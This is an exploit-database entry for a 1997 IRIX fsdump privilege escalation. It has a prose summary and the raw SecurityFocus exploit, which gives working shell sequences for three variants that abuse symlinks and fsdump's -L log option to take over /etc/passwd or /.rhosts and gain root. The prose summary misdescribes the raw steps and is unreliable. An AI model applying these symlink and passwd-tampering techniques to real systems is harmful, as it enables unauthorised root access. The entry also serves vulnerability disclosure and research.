header-logo
Suggest Exploit
vendor:
IRIX
by:
SecurityFocus
7.2
CVSS
HIGH
Privilege Escalation
264
CWE
Product Name: IRIX
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: IRIX
1997

Multiple Vulnerabilities in fsdump

Multiple vulnerabilities exist in the fsdump program included with Silicon Graphics Inc's IRIX operating system. Each of these holes can be used to obtain root privlilege. Variant 1: An attacker can use the fsdump command to create a dump file of the /etc/passwd file. The attacker can then use the tail command to view the last 8 lines of the file, which includes the encrypted root password. The attacker can then use the vi command to remove the encrypted root password and then use the chgrp and chown commands to change the group and owner of the file. The attacker can then use the su command to gain root access. Variant 2: An attacker can use the fsdump command to create a dump file of the /etc/passwd file. The attacker can then use the cp command to copy the file to the /tmp directory and then use the ln command to create a symbolic link to the /etc/passwd file. The attacker can then use the fsdump command to create a dump file of the /etc/passwd file. Variant 3: An attacker can use the ln command to create a symbolic link to the /.rhosts file. The attacker can then use the fsdump command to create a dump file of the /.rhosts file. The attacker can then use the ls command to view the contents of the /.rhosts file and then use the rm command to remove the dump file.

Mitigation:

Upgrade to the latest version of fsdump.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/355/info

A number of vulnerabilities exist in the fsdump program included with Silicon Graphics Inc's IRIX operating system. Each of these holes can be used to obtain root privlilege. 

Variant 1:
irix% /var/rfindd/fsdump -L/etc/passwd -F/tmp/dump /
(count to three, and hit ctrl-c)
irix% ls -la /etc/passwd
-rw-r--r-- 1 csh users 956 Feb 25 06:23 /etc/passwd
irix% tail -8 /etc/passwd
nobody:*:60001:60001:SVR4 nobody uid:/dev/null:/dev/null
noaccess:*:60002:60002:uid no access:/dev/null:/dev/null
nobody:*:-2:-2:original nobody uid:/dev/null:/dev/null

Tue Feb 25 06:23:48 PST 1997
Number of inodes total 208740; allocated 31259
Collecting garbage.
interrupted
irix% vi /etc/passwd # remove the encrypted root password
irix% chgrp sys /etc/passwd
irix% chown root /etc/passwd
irix% su -
irix#

Variant 2:

cp /etc/passwd /tmp/passwd
ln -s /etc/passwd rfd.lock
/var/rfindd/fsdump -F/tmp/rfd /
/var/rfindd/fsdump -L/etc/passwd -F/tmp/rfd /

Variant 3:
cd /tmp
ln -s /.rhosts fsdump.dir
/var/rfindd/fsdump -Fgimme /
ls -al /.rhosts
rm -f fsdump.dir fsdump.pag gimme